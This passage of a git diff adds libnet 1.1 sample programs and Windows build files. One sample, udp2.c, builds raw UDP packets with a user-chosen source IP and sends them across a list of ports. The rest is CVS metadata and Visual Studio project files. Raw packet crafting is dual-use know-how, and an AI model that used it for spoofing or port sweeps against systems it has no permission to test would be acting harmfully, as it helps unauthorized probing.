opt, + 20, + l, + ipo); + if (ipo == -1) + { + fprintf(stderr, "Can't build IP options: %s\n", libnet_geterror(l)); + goto bad; + } + + ip = libnet_build_ipv4( + LIBNET_IPV4_H + 20 + payload_s + LIBNET_UDP_H, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + src_ip, + dst_ip, + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + ip); /* libnet id */ + if (ip == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + } + + /* + * Write it to the wire. + */ + fprintf(stderr, "%d byte packet, ready to go\n", + libnet_getpacket_size(l)); + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte UDP packet; check the wire.\n", c); + } + } + libnet_stats(l, &ls); + fprintf(stderr, "Packets sent: %lld\n" + "Packet errors: %lld\n" + "Bytes written: %lld\n", + ls.packets_sent, ls.packet_errors, ls.bytes_written); + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip.source_port -d destination_ip.destination_port" + " [-p payload]\n", + name); +} +/* EOF */ diff --git a/libnet/sample/udp2.c b/libnet/sample/udp2.c new file mode 100644 index 0000000..706a62b --- /dev/null +++ b/libnet/sample/udp2.c @@ -0,0 +1,232 @@ +/* + * $Id: udp2.c,v 1.6 2004/03/01 20:26:12 mike Exp $ + * + * libnet 1.1 + * Build a UDP packet using port list chains + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + + +int +main(int argc, char **argv) +{ + int c, build_ip; + struct timeval r; + struct timeval s; + struct timeval e; + libnet_t *l; + libnet_ptag_t udp; + char *payload; + libnet_ptag_t t; + struct libnet_stats ls; + u_int16_t payload_s; + u_int32_t src_ip, dst_ip; + u_int16_t bport, eport, cport; + libnet_plist_t plist, *plist_p; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1.2 packet shaping: UDP2[link]\n"); + + l = libnet_init( + LIBNET_LINK, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + payload = NULL; + payload_s = 0; + plist_p = NULL; + while ((c = getopt(argc, argv, "d:s:p:P:")) != EOF) + { + switch (c) + { + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, + LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(1); + } + break; + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, + LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(1); + } + break; + case 'P': + plist_p = &plist; + if (libnet_plist_chain_new(l, &plist_p, optarg) == -1) + { + fprintf(stderr, "Bad token in port list: %s\n", + libnet_geterror(l)); + exit(1); + } + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + default: + usage(argv[0]); + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !dst_ip || !plist_p) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + udp = 0; +#if !(__WIN32__) + gettimeofday(&s, NULL); +#else + /* This obviously is not as good - but it compiles now. */ + s.tv_sec = time(NULL); + s.tv_usec = 0; +#endif + + build_ip = 1; + while (libnet_plist_chain_next_pair(plist_p, &bport, &eport)) + { + while (!(bport > eport) && bport != 0) + { + cport = bport++; + udp = libnet_build_udp( + 1025, /* source port */ + cport, /* destination port */ + LIBNET_UDP_H + payload_s, /* packet size */ + 0, /* checksum */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + udp); /* libnet id */ + if (udp == -1) + { + fprintf(stderr, "Can't build UDP header (at port %d): %s\n", + cport, libnet_geterror(l)); + goto bad; + } + if (build_ip) + { + build_ip = 0; + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ethernet( + enet_dst, /* ethernet dest */ + enet_src, /* ethernet source */ + ETHERTYPE_IP, /* protocol type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", + libnet_geterror(l)); + goto bad; + } + } + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "write error: %s\n", libnet_geterror(l)); + } + else + { + fprintf(stderr, "wrote %d byte UDP packet to port %d\r", c, + cport); + } + } + fprintf(stderr, "\n"); + } + +#if !(__WIN32__) + gettimeofday(&e, NULL); +#else + /* This obviously is not as good - but it compiles now. */ + s.tv_sec = time(NULL); + s.tv_usec = 0; +#endif + + libnet_timersub(&e, &s, &r); + fprintf(stderr, "Total time spent in loop: %d.%d\n", r.tv_sec, r.tv_usec); + + libnet_stats(l, &ls); + fprintf(stderr, "Packets sent: %lld\n" + "Packet errors: %lld\n" + "Bytes written: %lld\n", + ls.packets_sent, ls.packet_errors, ls.bytes_written); + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *name) +{ + fprintf(stderr, "usage: %s -s s_ip -d d_ip -P port list [-p payload]\n", name); +} + +/* EOF */ diff --git a/libnet/sample/win32/CVS/Entries b/libnet/sample/win32/CVS/Entries new file mode 100644 index 0000000..98702e5 --- /dev/null +++ b/libnet/sample/win32/CVS/Entries @@ -0,0 +1,9 @@ +/getopt.c/1.1/Mon Jun 30 20:38:44 2003// +D/arp//// +D/cdp//// +D/dhcp_discover//// +D/dns//// +D/get_addr//// +D/icmp_echo_cq//// +D/tcp1//// +D/udp1//// diff --git a/libnet/sample/win32/CVS/Repository b/libnet/sample/win32/CVS/Repository new file mode 100644 index 0000000..75f9ae6 --- /dev/null +++ b/libnet/sample/win32/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/sample/win32 diff --git a/libnet/sample/win32/CVS/Root b/libnet/sample/win32/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/sample/win32/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/sample/win32/arp/CVS/Entries b/libnet/sample/win32/arp/CVS/Entries new file mode 100644 index 0000000..e8eb30c --- /dev/null +++ b/libnet/sample/win32/arp/CVS/Entries @@ -0,0 +1,2 @@ +/arp.vcproj/1.2/Fri Oct 17 00:20:53 2003// +D diff --git a/libnet/sample/win32/arp/CVS/Repository b/libnet/sample/win32/arp/CVS/Repository new file mode 100644 index 0000000..7d37161 --- /dev/null +++ b/libnet/sample/win32/arp/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/sample/win32/arp diff --git a/libnet/sample/win32/arp/CVS/Root b/libnet/sample/win32/arp/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/sample/win32/arp/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/sample/win32/arp/arp.vcproj b/libnet/sample/win32/arp/arp.vcproj new file mode 100644 index 0000000..c247a4b --- /dev/null +++ b/libnet/sample/win32/arp/arp.vcproj @@ -0,0 +1,136 @@ +<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="arp"
+ ProjectGUID="{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/arp.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/arp.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;WPCAP"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/arp.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\arp.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/cdp/CVS/Entries b/libnet/sample/win32/cdp/CVS/Entries new file mode 100644 index 0000000..2541048 --- /dev/null +++ b/libnet/sample/win32/cdp/CVS/Entries @@ -0,0 +1,2 @@ +/cdp.vcproj/1.4/Thu Nov 27 20:30:49 2003// +D diff --git a/libnet/sample/win32/cdp/CVS/Repository b/libnet/sample/win32/cdp/CVS/Repository new file mode 100644 index 0000000..219f5d2 --- /dev/null +++ b/libnet/sample/win32/cdp/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/sample/win32/cdp diff --git a/libnet/sample/win32/cdp/CVS/Root b/libnet/sample/win32/cdp/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/sample/win32/cdp/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/sample/win32/cdp/cdp.vcproj b/libnet/sample/win32/cdp/cdp.vcproj new file mode 100644 index 0000000..a1be0b0 --- /dev/null +++ b/libnet/sample/win32/cdp/cdp.vcproj @@ -0,0 +1,136 @@ +<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="cdp"
+ ProjectGUID="{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/cdp.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/arp.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/cdp.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\cdp.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/dhcp_discover/CVS/Entries b/libnet/sample/win32/dhcp_discover/CVS/Entries new file mode 100644 index 0000000..fa17926 --- /dev/null +++ b/libnet/sample/win32/dhcp_discover/CVS/Entries @@ -0,0 +1,2 @@ +/dhcp_discover.vcproj/1.3/Thu Nov 27 20:28:17 2003// +D diff --git a/libnet/sample/win32/dhcp_discover/CVS/Repository b/libnet/sample/win32/dhcp_discover/CVS/Repository new file mode 100644 index 0000000..9c64da1 --- /dev/null +++ b/libnet/sample/win32/dhcp_discover/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/sample/win32/dhcp_discover diff --git a/libnet/sample/win32/dhcp_discover/CVS/Root b/libnet/sample/win32/dhcp_discover/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/sample/win32/dhcp_discover/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/sample/win32/dhcp_discover/dhcp_discover.vcproj b/libnet/sample/win32/dhcp_discover/dhcp_discover.vcproj new file mode 100644 index 0000000..f66fe8a --- /dev/null +++ b/libnet/sample/win32/dhcp_discover/dhcp_discover.vcproj @@ -0,0 +1,139 @@ +<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="dhcp_discover"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dhcp_discover.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dhcp_discover.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\dhcp_discover.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/dns/CVS/Entries b/libnet/sample/win32/dns/CVS/Entries new file mode 100644 index 0000000..51340e0 --- /dev/null +++ b/libnet/sample/win32/dns/CVS/Entries @@ -0,0 +1,2 @@ +/dns.vcproj/1.1/Fri Oct 17 00:25:54 2003// +D diff --git a/libnet/sample/win32/dns/CVS/Repository b/libnet/sample/win32/dns/CVS/Repository new file mode 100644 index 0000000..6459a55 --- /dev/null +++ b/libnet/sample/win32/dns/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/sample/win32/dns diff --git a/libnet/sample/win32/dns/CVS/Root b/libnet/sample/win32/dns/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/sample/win32/dns/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/sample/win32/dns/dns.vcproj b/libnet/sample/win32/dns/dns.vcproj new file mode 100644 index 0000000..c72a307 --- /dev/null +++ b/libnet/sample/win32/dns/dns.vcproj @@ -0,0 +1,139 @@ +<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="dns"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dns.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\dns.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
